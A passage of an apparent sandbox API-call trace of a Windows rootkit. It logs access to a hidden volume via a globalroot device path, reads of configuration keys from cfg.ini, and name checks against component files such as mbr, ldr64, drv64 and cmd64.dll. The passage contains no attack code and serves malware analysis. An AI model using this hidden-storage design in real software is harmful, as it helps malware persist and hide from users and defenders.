returned 0 [0130.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.239] KeLeaveCriticalRegion () [0130.239] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.239] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.239] KeEnterCriticalRegion () [0130.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d47000 [0130.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.239] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.239] IdePortDispatch () returned 0x103 [0130.239] KeWaitForMutexObject () returned 0x0 [0130.240] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.240] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.240] IdePortDispatch () returned 0x103 [0130.240] KeWaitForMutexObject () returned 0x0 [0130.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.240] KeLeaveCriticalRegion () [0130.240] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.240] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.240] KeEnterCriticalRegion () [0130.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.241] KeLeaveCriticalRegion () [0130.241] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.241] KeEnterCriticalRegion () [0130.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.241] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.241] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.241] KeLeaveCriticalRegion () [0130.241] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.241] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.241] KeEnterCriticalRegion () [0130.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.241] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.241] KeLeaveCriticalRegion () [0130.241] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.241] ReleaseMutex (hMutex=0xf0) returned 1 [0130.241] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.241] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.241] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.241] KeEnterCriticalRegion () [0130.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.241] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.241] IdePortDispatch () returned 0x103 [0130.241] KeWaitForMutexObject () returned 0x0 [0130.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.241] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.242] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.242] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.242] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.242] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c250 [0130.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.242] KeLeaveCriticalRegion () [0130.242] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.242] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.242] KeEnterCriticalRegion () [0130.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.242] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.242] KeLeaveCriticalRegion () [0130.242] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.242] KeEnterCriticalRegion () [0130.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.242] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.242] IdePortDispatch () returned 0x103 [0130.242] KeWaitForMutexObject () returned 0x0 [0130.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.242] KeLeaveCriticalRegion () [0130.242] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.242] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.242] KeEnterCriticalRegion () [0130.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.242] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d48000 [0130.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.243] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.243] IdePortDispatch () returned 0x103 [0130.243] KeWaitForMutexObject () returned 0x0 [0130.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.244] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.244] IdePortDispatch () returned 0x103 [0130.244] KeWaitForMutexObject () returned 0x0 [0130.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.244] KeLeaveCriticalRegion () [0130.244] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.244] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.244] KeEnterCriticalRegion () [0130.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.244] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.244] KeLeaveCriticalRegion () [0130.245] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.245] KeEnterCriticalRegion () [0130.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.245] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.245] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.245] KeLeaveCriticalRegion () [0130.245] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.245] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.245] KeEnterCriticalRegion () [0130.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.245] ExFreePoolWithTag (P=0xfffffa800294c250, Tag=0x0) [0130.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.245] KeLeaveCriticalRegion () [0130.245] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.245] ReleaseMutex (hMutex=0xf0) returned 1 [0130.245] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.245] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.245] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.245] KeEnterCriticalRegion () [0130.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.245] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.245] IdePortDispatch () returned 0x103 [0130.245] KeWaitForMutexObject () returned 0x0 [0130.245] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.245] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.245] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.245] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.246] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.246] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd320 [0130.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.246] KeLeaveCriticalRegion () [0130.246] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.246] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.246] KeEnterCriticalRegion () [0130.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.246] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.246] KeLeaveCriticalRegion () [0130.246] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.246] KeEnterCriticalRegion () [0130.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.246] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.246] IdePortDispatch () returned 0x103 [0130.246] KeWaitForMutexObject () returned 0x0 [0130.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.246] KeLeaveCriticalRegion () [0130.246] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.246] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.246] KeEnterCriticalRegion () [0130.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.246] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d49000 [0130.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.246] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.247] IdePortDispatch () returned 0x103 [0130.247] KeWaitForMutexObject () returned 0x0 [0130.247] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.247] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.247] IdePortDispatch () returned 0x103 [0130.247] KeWaitForMutexObject () returned 0x0 [0130.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.247] KeLeaveCriticalRegion () [0130.247] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.248] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.248] KeEnterCriticalRegion () [0130.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.248] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.248] KeLeaveCriticalRegion () [0130.248] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.248] KeEnterCriticalRegion () [0130.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.248] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.248] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.248] KeLeaveCriticalRegion () [0130.248] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.248] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.248] KeEnterCriticalRegion () [0130.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.248] ExFreePoolWithTag (P=0xfffffa8003bfd320, Tag=0x0) [0130.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.248] KeLeaveCriticalRegion () [0130.248] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.248] ReleaseMutex (hMutex=0xf0) returned 1 [0130.248] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.248] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.248] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.248] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.248] KeEnterCriticalRegion () [0130.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.248] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.248] IdePortDispatch () returned 0x103 [0130.249] KeWaitForMutexObject () returned 0x0 [0130.249] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.249] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.249] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.249] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.249] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.249] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.249] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.249] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.249] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.249] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.249] KeLeaveCriticalRegion () [0130.249] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.249] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.249] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.249] KeEnterCriticalRegion () [0130.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.249] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.249] IdePortDispatch () returned 0x103 [0130.249] KeWaitForMutexObject () returned 0x0 [0130.250] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.250] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.250] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.250] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.250] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.250] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.250] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.250] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.250] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.250] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.250] KeLeaveCriticalRegion () [0130.250] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.250] ReleaseMutex (hMutex=0x100) returned 1 [0130.250] Sleep (dwMilliseconds=0x2bf20) [0130.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70d63110, dwHighDateTime=0x1d24fa4)) [0130.257] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.257] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.257] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.257] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.257] KeEnterCriticalRegion () [0130.258] ExAcquireFastMutexUnsafe (in: 